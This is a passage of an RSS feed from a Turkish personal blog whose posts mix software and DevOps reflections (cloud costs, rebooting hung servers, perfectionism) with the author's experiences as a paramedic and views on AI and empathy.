<p>Bir gün cesaret edip tüm sekmelerimi kapatmayı denedim. Hepsini. 127 sekme. "Bookmark'la" bile demedim, direkt kapattım. Kalp atışım hızlandı, bir anlık panik hissettim ama sonra öyle garip bir hafiflik çöktü ki... Sanki beynimin RAM'i (çalışma belleği) aniden boşalmış gibiydi. O an fark ettim ki, o 127 sekmenin her biri zihnimde bilinçaltı bir yük oluşturuyormuş. Her biri "beni unutma" diye bağıran küçük bir görevmiş.</p>
<p>Bugünkü kuralım çok basit: Eğer bir sekmeyi 24 saat içinde okumadıysam veya kullanmadıysam, o sekme benim hayatım için gerçekten önemli değildir. Kapanır ve dünya yıkılmaz. Eğer gerçekten lazım olursa, zaten Google onu tekrar bulacaktır. Tarayıcınızı temizleyin, zihninizi temizlemiş olursunuz. Ve eğer birisinin tarayıcısında 200'den fazla sekme açıksa, ona "Nasılsın?" diye sorun. Gerçekten sorun. Çünkü o insan iyi değil.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>humor</category>
            <category>browser-tabs</category>
            <category>developer-life</category>
            <category>mental-health</category>
            <category>productivity</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/bir-yazilimcinin-tarayici-sekmesi-sayisi-zihinsel-sagliginin-en-iyi-gostergesidir/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Türkiye'den Global Bir Teknoloji Şirketi Kurmak: Kimsenin Anlatmadığı Gerçekler]]></title>
            <link>http://localhost:3000/blog/post/turkiyeden-global-bir-teknoloji-sirketi-kurmak-kimsenin-anlatmadigi-gercekler</link>
            <guid>turkiyeden-global-bir-teknoloji-sirketi-kurmak-kimsenin-anlatmadigi-gercekler</guid>
            <pubDate>Wed, 16 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Döviz kuru kabusu, bürokratik labirentler ve Türk yazılımcıların küresel piyasadaki algısı üzerine sansürsüz bir kurucu itirafı.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/turkiyeden-global-bir-teknoloji-sirketi-kurmak-kimsenin-anlatmadigi-gercekler/thumbnail" alt=""> Silikon Vadisi'ndeki kuruculara sorun, size "Garajda bir fikirle başladım, yatırımcılarla tanıştım, üç ayda milyon dolar topladım" tarzında parlak hikayeler anlatırlar. Türkiye'den global bir teknoloji şirketi kurma hikayesi ise... biraz farklıdır.</p>
<p>Suku Tech'i sıfırdan kurarken ilk karşılaştığım gerçek, döviz kurunun hayatınızı nasıl bir roller coaster'a çevirdiğiydi. Özellikle döviz kurunun sürekli olarak baskılandığı bir ortamda. Sunucularınız yurt dışında (Hetzner, DigitalOcean vb.) barınıyorsa, faturalarınız dolar veya euro cinsindendir. Elbette döviz cinsinden giderleriniz sadece sunucu maliyetlerinizle sınırlı olamaz. Kullandığınız üçüncü taraf bir yazılım, herhangi bir WAF servisi, nesne depolama alanı hizmeti, çalışmalarınız için kullandığınız bilgisayarınız, çalışma masanızın üstündeki çalışma lambanız ve daha fazlası. Müşterilerinizin bir kısmı Türkiye'deyse, gelirleriniz TL cinsindendir. Sabah uyandığınızda dolar sadece 2 lira dahi artmışsa, bir gecede tüm kar marjınız buharlaşmıştır. Maliyet planlaması yapmak neredeyse imkansızdır çünkü giderleriniz sabit dövizle, gelirleriniz ise sürekli değer kaybeden bir para birimiyle akmaktadır.</p>
<p>Bürokratik tarafı ise ayrı bir macera. Türkiye'de şirket kurmak, şirket büyütmek ve özellikle yurt dışına fatura kesmek, bir mühendislik problemi kadar karmaşıktır. Vergi dairesi, SGK, e-devlet, MERSIS, KEP adresi, e-fatura entegrasyonu... Her biri ayrı bir labirent. Ve bu labirentlerin hiçbirinin dokümantasyonu (tıpkı kötü yazılmış bir API gibi) düzgün değildir. Bir gün e-arşiv portala giriş yapamazsınız, bir gün e-devlet çöker, bir gün vergi dairesindeki memur size farklı ve tamamen yanlış bir şey söyler.</p>
<p>Yurt dışı müşterilerle çalışmak istediğinizde ise bambaşka bir algı sorunu çıkar karşınıza. Uluslararası piyasada "Türkiye'den bir teknoloji şirketi" olarak kendinizi tanıttığınızda, karşı tarafın kafasında oluşan ilk imaj maalesef Silikon Vadisi'ndeki bir startup değildir. Kendinizi kanıtlamanız, güven inşa etmeniz ve "Evet, biz de kaliteli iş üretiyoruz" demeniz için çok daha fazla emek harcamanız gerekir. Aynı işi yapan bir Amerikan veya Alman şirketinin varsayılan güvenilirliğine ulaşmak için iki kat daha çok çalışmanız gerekir.</p>
<p>Üstüne üstlük potansiyel müşterileriniz geçmişteki başarısız startupları sizlere göstererek bunlar beceremedi; siz nasıl bu işin içinden çıkacaksınız minvalinde patavatsız söylemlerde bulunabilirler. Peki neden hâlâ buradayım? Neden Estonya'ya veya İrlanda'ya taşınıp orada şirket kurmadım? Çünkü Türkiye'den iş yapmanın gizli bir avantajı var: Maliyet yapınız. Buradaki mühendislik kalitesi, Batı Avrupa veya ABD standartlarında ama maliyet çok daha düşüktür. Bu da size küresel piyasada rekabetçi fiyatlarla premium kalitede hizmet sunma imkanı verir. Ayrıca burada her gün savaşarak öğrendiğiniz o dayanıklılık (resilience), hiçbir MBA programının veremeyeceği bir girişimci eğitimidir.</p>
<p>Türkiye'den global bir teknoloji şirketi kurmak, düz bir otobanda araba sürmek değil; bozuk yolda, karanlıkta, farları yarım yanan bir kamyonla dağ geçidi aşmaktır. Ama o geçidi aştığınızda, düz otobanda başlayanlara kıyasla çok daha iyi bir sürücü olursunuz. Zorluklar sizi kırmadıysa, sizi piyasadaki en sert rakiplerden biri yapmıştır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>startup</category>
            <category>turkey</category>
            <category>entrepreneurship</category>
            <category>global-market</category>
            <category>suku-tech</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/turkiyeden-global-bir-teknoloji-sirketi-kurmak-kimsenin-anlatmadigi-gercekler/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Bir Yapay Zeka Paramedik Olabilir mi? Empatinin Algoritmaya Sığmadığı Nokta]]></title>
            <link>http://localhost:3000/blog/post/bir-yapay-zeka-paramedik-olabilir-mi-empatinin-algoritmaya-sigmadigi-nokta</link>
            <guid>bir-yapay-zeka-paramedik-olabilir-mi-empatinin-algoritmaya-sigmadigi-nokta</guid>
            <pubDate>Tue, 15 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[AI her şeyi öğrenebilir ama bir hastanın elini tutup "Korkma, yanındayım" diyebilir mi? İnsan olmanın makinelere devredilemeyen son kalesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/bir-yapay-zeka-paramedik-olabilir-mi-empatinin-algoritmaya-sigmadigi-nokta/thumbnail" alt=""> Yapay zeka artık röntgen filmlerini radyologlardan daha doğru okuyabiliyor. Deri kanserini dermatologlardan daha erken tespit edebiliyor. Ameliyat robotları cerrahın elinden daha az titreyen kollarla mikroskobik damarları dikebiliyor. Tıbbi literatürü saniyeler içinde tarayıp, nadir bir hastalığın teşhisini koyabiliyor. Teknoloji, sağlık alanında mucizelere imza atıyor ve ben buna bir mühendis olarak içtenlikle hayran kalıyorum.</p>
<p>Ancak bir paramedik olarak, bu teknolojinin asla ve asla çözemeyeceği bir alan olduğunu biliyorum. Ve bu alan, tıbbın en temel ama en az konuşulan parçasıdır: Empati.</p>
<p>Bir gece nöbetinde, yaşlı bir kadının evine çağrıldık. Kadın yerde yatıyordu, düşmüştü ve kalça kemiğinde kırık şüphesi vardı. Tıbbi müdahale protokolü belliydi: Boyun stabilizasyonu, vakum yatak, damar yolu, ağrı kesici ve hastaneye sevk. Bir yapay zeka da bu protokolü kusursuz bir şekilde uygulayabilirdi. Belki benden daha hızlı ve hatasız uygulardı.</p>
<p>Ama o gece beni asıl zorlayan şey kırık kemik değildi. Kadının gözlerindeki o derin korkuydu. "Ölecek miyim?" diye sordu. Titreyen, kuru ve buruşmuş elini bana uzattı. Ben o eli tuttum, gözlerinin içine baktım ve "Hayır teyzeciğim, her şey iyi olacak, seni bırakmıyoruz" dedim. O an eli tutmanın, göz temasının, ses tonunun ve o basit cümlenin yarattığı etkiyi hiçbir algoritma, hiçbir dil modeli ve hiçbir robot kol taklit edemez.</p>
<p>Çünkü empati, veri işlemek değildir. Empati, karşınızdaki insanın acısını bir nebze olsun kendi bedeninizde hissetmektir. O hastanın elini tuttuğunuzda avucunuzdaki ıslak teri hissetmektir. Onun gözlerindeki korkunun, sizin kendi ölüm korkunuzu tetiklemesine izin vermektir. Bir yapay zeka "Korkma" diyebilir ama bunu söylerken kendisi korkmayı bilmez. Korkmayı bilmeyen bir varlığın "Korkma" demesinin, bir insanın ruhuna dokunma ihtimali sıfırdır.</p>
<p>Acil tıpta, özellikle ölüm ve ağır travma vakalarında, tıbbi müdahalenin yanı sıra "İnsani Varlık" (Human Presence) dediğimiz bir kavram vardır. Bazen yapabileceğiniz hiçbir tıbbi müdahale yoktur. Hasta gidiyordur ve siz bunu biliyorsunuzdur. O anda tek yapabileceğiniz, orada olmaktır. Sessizce yanında durmak, elini tutmak ve o insanın bu dünyadan yalnız gitmediğini hissettirmektir. Bu, hiçbir ders kitabında yazmayan ama sahadaki her paramedik ve hemşirenin bildiği en ağır ve en kutsal görevdir.</p>
<p>Bir robot kolun bu görevi yapabildiği günü hayal etmeye çalışıyorum ve yapamıyorum. Tıp, sadece beden tamirciliği değildir. Tıp, en temelinde bir insanın bir başka insana "Sen önemlisin ve ben buradayım" demesidir. Yapay zeka hastalıkları teşhis edebilir, ilaç dozlarını hesaplayabilir, ameliyat yapabilir. Ama bir insanın son anlarında yanında olup, onun hikayesine tanıklık etmeyi; işte bunu asla yapamaz. Çünkü bunun için önce bir hayat yaşamış olmak, acı çekmiş olmak ve ölümün ne demek olduğunu bilmek gerekir. Algoritmalar hesaplar; ama insanlar hisseder. Ve bazı şeyler sadece hissederek yapılabilir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>ai</category>
            <category>empathy</category>
            <category>paramedic</category>
            <category>humanity</category>
            <category>future</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/bir-yapay-zeka-paramedik-olabilir-mi-empatinin-algoritmaya-sigmadigi-nokta/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Cloud (Bulut) Tuzağı: Şirketleri AWS/GCP Fatura Kâbusundan Nasıl Kurtarıyorum?]]></title>
            <link>http://localhost:3000/blog/post/cloud-bulut-tuzagi-sirketleri-awsgcp-fatura-kabusundan-nasil-kurtariyorum</link>
            <guid>cloud-bulut-tuzagi-sirketleri-awsgcp-fatura-kabusundan-nasil-kurtariyorum</guid>
            <pubDate>Mon, 14 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sunucusuz (Serverless) mimarilerin ve yönetilen hizmetlerin (Managed Services) şirketleri nasıl iflasa sürüklediği üzerine.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/cloud-bulut-tuzagi-sirketleri-awsgcp-fatura-kabusundan-nasil-kurtariyorum/thumbnail" alt=""> Teknoloji dünyasında son 10 yıldır sorgulanamaz bir dogma var: "Eğer modern bir şirket iseniz, altyapınız tamamen Cloud'da (Bulutta) olmalıdır." AWS, Google Cloud (GCP) veya Azure... Şirketler, fiziksel sunucu (Bare-Metal) satın almayı veya standart bir VPS kullanmayı neredeyse çağdışı, ilkel bir yöntem olarak görüyorlar.</p>
<p>Bu pazarlama yalanı o kadar başarılı oldu ki, bugün 3 kişilik bir startup bile, günde 100 kişinin gireceği basit bir web sitesini barındırmak için devasa bulut mimarileri kuruyor. Load Balancer'lar, Serverless (Sunucusuz) Lambda fonksiyonları, yönetilen (Managed) Kubernetes kümeleri ve devasa bulut veritabanları... Her şey "ölçeklenebilir" (scalable) olmak zorunda ya hani?</p>
<p>Peki gerçek dünyada ne oluyor? O 3 kişilik startup, daha doğru düzgün para kazanamadan ay sonu gelen <strong>$3.500 dolarlık AWS faturasıyla</strong> şoka giriyor.</p>
<p>İşte buna sektörde "Cloud Lock-in" (Bulut Tuzağı) diyoruz. Bulut servis sağlayıcıları (Cloud Providers), ilk başta size binlerce dolarlık ücretsiz kredi verirler. Mimarinizi tamamen onlara özgü olan araçlarla (AWS DynamoDB, AWS SQS, Google Pub/Sub vb.) kurmanızı sağlarlar. Uygulamanız bu araçlara tamamen bağımlı hale gelir. Kredileriniz bittiğinde veya sitenizin trafiği gerçekten artmaya başladığında, o kolayca kullandığınız "Managed" servislerin veri transferi (Egress) ve okuma/yazma (Read/Write) ücretleri astronomik rakamlara ulaşır. Artık oradan çıkmanız da imkansızdır, çünkü kodunuz AWS'ye göre yazılmıştır, başka bir yere taşıyamazsınız.</p>
<p>Suku Tech'i yönetirken ve diğer şirketlere DevOps danışmanlığı verirken yaptığım en büyük işlerden biri, şirketleri bu fatura kâbusundan uyandırmak ve onları "Temellere" döndürmektir.</p>
<p>Gerçek şu ki: Şirketlerin %95'i Netflix veya Uber değil. Sizin saniyelik on binlerce isteği karşılayacak, global olarak dağıtılmış devasa bir serverless mimariye ihtiyacınız yok. İhtiyacınız olan şey, aylık maliyeti sabit olan, güçlü birkaç fiziksel (Bare-Metal) veya kiralık sunucu (Hetzner, OVH, DigitalOcean vb.) ve üzerine kurulmuş düzgün bir Docker mimarisidir.</p>
<p>Bugün aylık 100-200 dolara kiralayacağınız sağlam bir Dedicated Server (Özel Sunucu), AWS'de size binlerce dolara mal olacak bir performansı terlemeden verir. Veritabanınızı (PostgreSQL) kendi sunucunuzda tutmak, kuyruk sisteminizi (RabbitMQ/Redis) kendiniz yönetmek "çağdışı" değil; mühendisliktir. Maliyet optimizasyonudur.</p>
<p>Bulut sistemleri kötüdür demiyorum; esneklik gerektiğinde (black friday gibi ani trafik artışlarında) veya globale açılırken hayat kurtarır. Ancak bulut, bir başlangıç noktası (default) değil, bir ihtiyaç noktası olmalıdır. Sadece ay sonunda faturanın ne geleceğini bilememek bile, bir startup kurucusunun uykularını kaçırmaya yeter. Eğer altyapınızı bulutta tutuyorsanız ve faturanız sizi korkutuyorsa, belki de o "çağdışı" denilen fiziksel sunuculara geri dönmenin (Cloud Repatriation) vakti gelmiştir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>cloud</category>
            <category>aws</category>
            <category>devops</category>
            <category>infrastructure</category>
            <category>bare-metal</category>
            <category>startup</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/cloud-bulut-tuzagi-sirketleri-awsgcp-fatura-kabusundan-nasil-kurtariyorum/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Kodlar Düzeltilebilir, İnsanlar Değil: 'Başarısızlık' Kavramıyla İki Farklı Dünyada Yüzleşmek]]></title>
            <link>http://localhost:3000/blog/post/kodlar-duzeltilebilir-insanlar-degil-basarisizlik-kavramiyla-iki-farkli-dunyada-yuzlesmek</link>
            <guid>kodlar-duzeltilebilir-insanlar-degil-basarisizlik-kavramiyla-iki-farkli-dunyada-yuzlesmek</guid>
            <pubDate>Sun, 13 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yazılım dünyasındaki Ctrl+Z konforunun, acil tıptaki geri döndürülemez gerçeklerle nasıl çarpıştığı üzerine kişisel bir yüzleşme.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/kodlar-duzeltilebilir-insanlar-degil-basarisizlik-kavramiyla-iki-farkli-dunyada-yuzlesmek/thumbnail" alt=""> Teknoloji dünyasında çalışmanın en konforlu yanlarından biri, başarısızlığın (failure) genellikle çok ucuz ve geri döndürülebilir olmasıdır. Bir web sitesini kodlarken devasa bir hata yapabilirsiniz, yanlış bir komutla üretim (production) veritabanını uçurabilirsiniz veya şirketin sunucularını saatlerce erişilemez hale getirebilirsiniz. Elbette o an için kalbiniz deli gibi çarpar, soğuk terler dökersiniz ve "Kovulacağım" korkusu yaşarsınız. Ancak günün sonunda, bir yerlerde her zaman bir yedek (backup) vardır. Git geçmişine dönüp <code>git revert</code> yazarsınız; yaptığınız hata bir network cihazını etkiliyorsa rollback 1 atarsınız sistemi dünkü haline getirirsiniz ve sanki o büyük felaket hiç yaşanmamış gibi kahvenizi yudumlamaya devam edersiniz. Yazılımda, hatalarınızın üzerinde her zaman bir "Geri Al" (Undo) butonu bulunur.</p>
<p>Ancak bir paramedik olarak sahaya çıktığınızda, ambulansın arkasında o siren sesleri eşliğinde bir vakaya giderken o "Geri Al" butonunun var olmadığını bilmek, insana hayatın ne kadar acımasız ve kırılgan olduğunu çok sert bir şekilde öğretir.</p>
<p>Acil tıpta hata yapmanın bedeli ekrana düşen kırmızı bir hata mesajı değildir; bir annenin çığlığı, bir ailenin kararan hayatı veya sedyede yatan birinin son nefesidir. İşin en zor ve psikolojik olarak en yıpratıcı kısmı ise şudur: Bazen hiçbir hata yapmazsınız. Bütün protokolleri harfiyen uygularsınız, ilacı saniyesi saniyesine doğru dozda verirsiniz, kalp masajını kusursuz bir ritimle yaparsınız... Ve hasta tüm çabanıza rağmen yine de hayata tutunamaz ve ölür.</p>
<p>Yazılımda bir kod çalışmıyorsa mutlaka mantıksal bir sebebi vardır. Noktalı virgülü unutmuşsunuzdur veya bir değişken tanımsızdır. Bulursunuz ve çözersiniz. Ancak insan bedeni ve ölüm, kodların o mantıksal dünyasına asla uymaz. Ölümün algoritması yoktur. Bazen bir insanı yaşatmak için elinizden gelen her şeyin %100'ünü yaparsınız ama o bedenin yaşam döngüsü bitmiştir. Ve o hastayı kaybettiğinizde, elinizdeki kanı yıkayıp bir sonraki vakaya gitmek zorundasınızdır.</p>
<p>Hayatımın bu iki zıt dünyasında yaşamak, "Başarısızlık" (Failure) kavramına olan bakışımı tamamen değiştirdi. Eskiden kod yazarken veya bir projeyi hayata geçirirken hata yapmaktan çok korkardım. Her şey mükemmel olsun isterdim. Ancak ambulans nöbetlerinden sonra, terminal ekranında aldığım o kırmızı "Error" mesajlarına gülümsemeye başladım. Sunucu mu çöktü? Yeniden başlatırım. Kod mu patladı? Baştan yazarım. Gecenin bir yarısı projem mi iptal oldu? Yeni bir repo açarım.</p>
<p>Çünkü artık biliyorum ki; nefes aldığınız, geri dönüp hatanızı düzeltebildiğiniz ve kaybettiğiniz şeyin sadece "veri" olduğu hiçbir durum gerçek bir başarısızlık değildir. Gerçek başarısızlık, ölümün geri döndürülemez kesinliğidir. O kesinlikle yüzleştikten sonra, hayattaki diğer tüm hatalar ve kayıplar sadece yeniden derlenmeyi (recompile) bekleyen küçük kod parçacıklarından ibaret kalıyor. Hata yapmaktan korkmayın, çünkü hala düzeltebilecek kadar hayattasınız.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>life</category>
            <category>failure</category>
            <category>paramedic</category>
            <category>software-engineering</category>
            <category>reality</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/kodlar-duzeltilebilir-insanlar-degil-basarisizlik-kavramiyla-iki-farkli-dunyada-yuzlesmek/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[En İyi Kodlarımı Neden Klavyeden Uzaktayken Yazıyorum?]]></title>
            <link>http://localhost:3000/blog/post/en-iyi-kodlarimi-neden-klavyeden-uzaktayken-yaziyorum</link>
            <guid>en-iyi-kodlarimi-neden-klavyeden-uzaktayken-yaziyorum</guid>
            <pubDate>Sat, 12 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Programlamanın aslında klavyeye basmak değil, düşünmek ve mimari tasarlamak olduğu gerçeği üzerine bir analiz.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/en-iyi-kodlarimi-neden-klavyeden-uzaktayken-yaziyorum/thumbnail" alt=""> Yazılıma ve sistem yönetimine ilk başladığım heyecanlı yıllarda, bir problemle veya karmaşık bir hatayla (bug) karşılaştığımda onu çözmenin tek bir yolu olduğunu sanırdım: Ekrana daha sert, daha odaklanmış ve çok daha uzun süre bakmak.</p>
<p>Bazen bir veritabanı optimizasyon sorunu, bazen de içinden çıkılmaz hale gelen asenkron bir JavaScript hatası için masadan saatlerce hiç kalkmadan, su bile içmeden aralıksız kod yazdığım olurdu. Ekrana o kadar uzun süre bakardım ki artık kod satırları birbirine girmeye başlardı. Ve genelde ne olurdu biliyor musunuz? O 5 saatin sonunda yazdığım karmaşık spagetti kodu, ertesi sabah uyandığımda tamamen siler ve 10 dakikada çok daha sade bir şekilde baştan yazardım.</p>
<p>Zamanla, kariyerim ilerleyip Suku Tech gibi büyük projelerin mimarisini kurmaya başladıkça çok garip, neredeyse sihirli bir örüntü fark ettim.</p>
<p>Ne zaman masadan kalkıp kendime bir kahve yapmaya gitsem, ne zaman sıcak bir duşa girsem veya bilgisayarı tamamen kapatıp dışarıda hiçbir şey düşünmeden boş boş yürüyüşe çıksam... O bilgisayar başında saatlerce kan ter içinde kalarak çözemediğim problemin cevabı aniden, saniyeler içinde zihnimde beliriveriyordu. "Aha!" anı dedikleri bu olsa gerekti.</p>
<p>Bunun aslında nörobilimde (sinirbilim) çok net bir bilimsel açıklaması var. Biz ekrana bakıp bir bug'ı çözmeye odaklandığımızda beynimiz "Odaklanmış Düşünme" (Focused Mode) denilen analitik, dar bir çerçeveye geçer. Bu mod, detayları görmek ve basit mantık hatalarını bulmak için harikadır. Oysa sistem mimarisi tasarlamak, soyut düşünmek veya karmaşık algoritmik problemleri çözmek "Dağınık Düşünme" (Diffuse Mode) dediğimiz geniş açılı, yaratıcı bir zihin yapısı gerektirir. Siz bilgisayar başından kalkıp beyninizi rahatlattığınızda, aslında arka planda beyniniz o sorunu işlemeye (background processing) devam eder. Tıpkı bir sunucunun, siz ekrana bakmasanız bile arka planda logları okuyup veritabanını indekslemesi (cron jobs) gibi.</p>
<p>Artık bir kod bloğunda veya mimari bir kararda takıldığımda, kendimi masaya zincirleyip zorlamıyorum. 15-20 dakika içinde çözemiyorsam, bir şeylerin yanlış olduğunu kabul ediyor ve ekranı kapatıyorum. Çıkıp yürüyorum. Kulaklığımı takıp alakasız bir müzik dinliyor ya da sadece duvarı izliyorum.</p>
<p>Çünkü kod yazmanın aslında "hızlıca klavye tuşlarına basmak" değil, bütünüyle "düşünmek, tasarlamak ve sistem mühendisliği yapmak" olduğunu çok net bir şekilde anladım. Bugün, beş yıl öncesine kıyasla klavye başında geçirdiğim zaman çok daha az. Eskisinden çok daha az satır kod yazıyorum, kütüphaneleri daha az kullanıyorum. Ancak kurduğum sistemler eskisinden yüzlerce kat daha hızlı, daha güvenli ve daha ölçeklenebilir.</p>
<p>Çünkü asıl mimari, o karanlık kod editöründe parmaklarınızla değil; siz pencereden dışarı bakıp kahvenizi yudumlarken, zihninizin derinliklerinde inşa ediliyor. Eğer daha iyi bir yazılımcı olmak istiyorsanız, ellerinizi klavyeden çekin ve düşünmeye başlayın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>coding</category>
            <category>architecture</category>
            <category>problem-solving</category>
            <category>neuroscience</category>
            <category>deep-work</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/en-iyi-kodlarimi-neden-klavyeden-uzaktayken-yaziyorum/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Defibrilatör ve Sunucuyu 'Reboot' Etmek: Bazen Sadece Fişi Çekip Şok Vermeniz Gerekir]]></title>
            <link>http://localhost:3000/blog/post/defibrilator-ve-sunucuyu-reboot-etmek-bazen-sadece-fisi-cekip-sok-vermeniz-gerekir</link>
            <guid>defibrilator-ve-sunucuyu-reboot-etmek-bazen-sadece-fisi-cekip-sok-vermeniz-gerekir</guid>
            <pubDate>Fri, 11 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Kalbin ölümcül bir ritim bozukluğuna girdiğinde yapılan tek şeyle, sonsuz döngüye giren bir sunucuya yapılan müdahalenin şaşırtıcı benzerliği.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/defibrilator-ve-sunucuyu-reboot-etmek-bazen-sadece-fisi-cekip-sok-vermeniz-gerekir/thumbnail" alt=""> Acil tıpta en dramatik anlardan biri şudur: Hasta monitöründe kalbin elektriksel aktivitesini gösteren o yeşil çizgi aniden düzenini kaybeder. Normal, ritmik "bip... bip... bip..." sesi yerini çılgınca ve düzensiz bir titreşime bırakır. Ventriküler Fibrilasyon (VF) dediğimiz bu durumda kalp aslında durmamıştır; tam tersine, kalp kası hücreleri birbirleriyle koordinasyonlarını kaybetmiş ve her biri kendi başına, rastgele kasılmaya başlamıştır. Kalp sanki titriyordur ama kan pompalamıyordur. Yani kalp çalışıyor gibi görünür, ancak hiçbir iş üretmez.</p>
<p>Bu durumda yapabileceğiniz tek bir şey vardır: O kaotik elektriksel aktiviteyi tamamen sıfırlamak. Defibrilatör pedlerini göğse yapıştırırsınız, "Uzaklaşın!" diye bağırırsınız ve o düğmeye basarsınız. Yüzlerce joul'lük bir elektrik şoku kalbin içinden geçer. O şok, tüm o rastgele ateşlenen hücreleri anlık olarak susturur, her şeyi sıfırlar. Umut, kalbin o kısa sessizlikten sonra kendi normal ritmini (Sinüs Ritmi) yeniden bulmasıdır. Bazen bulur, bazen bulmaz. Ama o şoku vermezseniz sonuç kesindir: Ölüm.</p>
<p>Şimdi gelelim yazılım dünyasına. Gece yarısı, production sunucusundan alarmlar yağıyor. SSH ile bağlanıyorsunuz, <code>top</code> komutunu çalıştırıyorsunuz ve görüyorsunuz ki CPU %100'de kilitlenmiş. Bellek (RAM) tamamen dolmuş. Süreçler (processes) birbirini bekliyor, hiçbiri ilerleyemiyor. Klasik bir Deadlock veya sonsuz döngü (infinite loop) durumu. Sunucu teknik olarak "açık" ve "çalışıyor" görünüyor ama hiçbir isteğe cevap vermiyor. Tıpkı fibrilasyondaki kalp gibi: Çalışıyor gibi görünüyor ama hiçbir iş üretmiyor.</p>
<p>O anda çoğu genç mühendis panikle log dosyalarını okumaya, hangi sürecin sorunu yarattığını bulmaya ve "kök neden analizi" (Root Cause Analysis) yapmaya çalışır. Ancak senin önünde saniyeler vardır, dakikalar değil. Müşteriler siteye giremiyordur, parası havada kalan işlemler vardır. Hastanın nabzı sıfıra inerken otopsi yapmaya kalkmazsınız; önce kalbi geri getirirsiniz, analiz sonra yapılır.</p>
<p>İşte o an yapmanız gereken şey, tıptaki defibrilasyonun birebir karşılığıdır: <code>sudo reboot</code>. Veya daha cerrahi bir müdahaleyle, sorunlu servisi <code>kill -9</code> ile öldürüp yeniden başlatmak.</p>
<p>Evet, "Kapatıp açmayı denedin mi?" sorusu teknoloji dünyasının en eski ve en çok dalga geçilen tavsiyesidir. Ancak gerçek şu ki, bu tavsiye hem tıpta hem de mühendislikte hayat kurtarır. Bazen bir sistemi (ister kalp olsun, ister sunucu) düzeltmenin tek yolu, onu tamamen durdurup sıfırdan başlatmaktır. Çünkü o kaotik durumun içinden çıkmaya çalışmak, genellikle durumu daha da kötüleştirmekten başka bir şeye yaramaz.</p>
<p>Ders basittir: Kriz anında ego yapmayın. "Ben bu sorunu reboot etmeden çözerim" diye diretmeyin. Önce hastayı (sistemi) hayatta tutun, sonra laboratuvarda (staging ortamında) araştırmanızı yapın. Kök neden analizi, ancak hasta (veya sunucu) stabilize olduktan sonra yapılır. Öncelik her zaman hayatta kalmaktır (uptime).</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>devops</category>
            <category>paramedic</category>
            <category>reboot</category>
            <category>defibrillation</category>
            <category>crisis-management</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/defibrilator-ve-sunucuyu-reboot-etmek-bazen-sadece-fisi-cekip-sok-vermeniz-gerekir/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Kodda ve Hayatta 'Hata' Yapmayı Kucaklamak: Neden Mükemmeliyeti Bıraktım?]]></title>
            <link>http://localhost:3000/blog/post/kodda-ve-hayatta-hata-yapmayi-kucaklamak-neden-mukemmeliyeti-biraktim</link>
            <guid>kodda-ve-hayatta-hata-yapmayi-kucaklamak-neden-mukemmeliyeti-biraktim</guid>
            <pubDate>Thu, 10 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Sistemlerin çökmesinin dünyanın sonu olmadığını, hatanın bir başarısızlık değil sadece bir "log kaydı" olduğunu nasıl öğrendim.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/kodda-ve-hayatta-hata-yapmayi-kucaklamak-neden-mukemmeliyeti-biraktim/thumbnail" alt=""> Kariyerimin ilk yıllarında, adeta hastalık derecesinde takıntılı bir mükemmeliyetçiydim. Yazdığım tek bir satır kodu, küçük bir fonksiyonu veya basit bir veritabanı sorgusunu yayına (production) almadan önce günlerce test eder, defalarca üzerinden geçer, olası her kötü senaryoyu düşünmekten uykularımı kaçırırdım. Bir şeyler yanlış giderse dünyanın sonunun geleceğine inanırdım. Sonuç ne mi oldu? Projeler asla zamanında bitmezdi. Teslim tarihleri (deadline) hep kaçırılırdı. Ve en komiği, onca strese ve teste rağmen yayına alınan o "kusursuz" kod, ilk gün hiç aklıma gelmeyen absürt bir kullanıcı hareketi yüzünden yine patlardı.</p>
<p>Bir gün, devasa bir e-ticaret altyapısını yönetirken hayatımın en büyük aydınlanmalarından birini yaşadım. Bir şeyi fark etmiştim: Hata yapmayı engellemeye, her şeyi kusursuz tasarlamaya çalışmak, aslında o ekibin ve şirketin ilerlemesini, yenilik yapmasını engellemekti. Sürekli savunmada kalarak devrimsel hiçbir şey inşa edemezsiniz.</p>
